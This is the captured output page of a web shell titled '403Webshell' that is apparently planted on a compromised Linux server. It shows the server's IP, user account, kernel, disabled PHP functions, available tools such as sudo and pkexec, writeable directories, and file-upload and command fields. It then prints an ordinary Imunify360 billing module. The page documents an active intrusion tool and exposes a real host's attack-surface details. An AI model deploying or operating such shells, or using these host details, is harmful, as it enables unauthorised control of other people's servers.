403Webshell
Server IP : 51.89.169.208  /  Your IP : 3.138.140.5
Web Server : Apache
System : Linux ns3209505.ip-198-244-202.eu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Tue Nov 5 04:50:16 EST 2024 x86_64
User : yellowleaf ( 1019)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/imunify360/venv/lib64/python3.11/site-packages/defence360agent/myimunify/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/imunify360/venv/lib64/python3.11/site-packages/defence360agent/myimunify/billing.py
from dataclasses import dataclass, asdict
from defence360agent.contracts import config


@dataclass
class MILicenseType:
    FREEMIUM = "Freemium"


@dataclass
class IncompatibilityID:
    """
    Contains unique incompatibilities IDs for a billing
    """

    UNSUPPORTED_LICENSE = "LICENSE_IS_NOT_SUPPORTED"


@dataclass
class CompatibilityIssue:
    """
    Generic class for keeping compatibility issues with WHMCS
    """

    type: str
    description: str

    @property
    def dict_repr(self):
        return asdict(self)


def get_license_type():
    if config.is_mi_freemium_license():
        return MILicenseType.FREEMIUM
    return None


async def collect_billing_incompatibilities():
    """
    Collects all incompatibilities for WHMCS:
    1. No Freemium license means WHMCS cannot configure current server
    2. ....
    """
    issues = []
    if get_license_type() != MILicenseType.FREEMIUM:
        issues.append(
            CompatibilityIssue(
                type=IncompatibilityID.UNSUPPORTED_LICENSE,
                description=(
                    "There is no supported MyImunify license on the server"
                ),
            ).dict_repr
        )
    return issues

Youez - 2016 - github.com/yon3zu
LinuXploit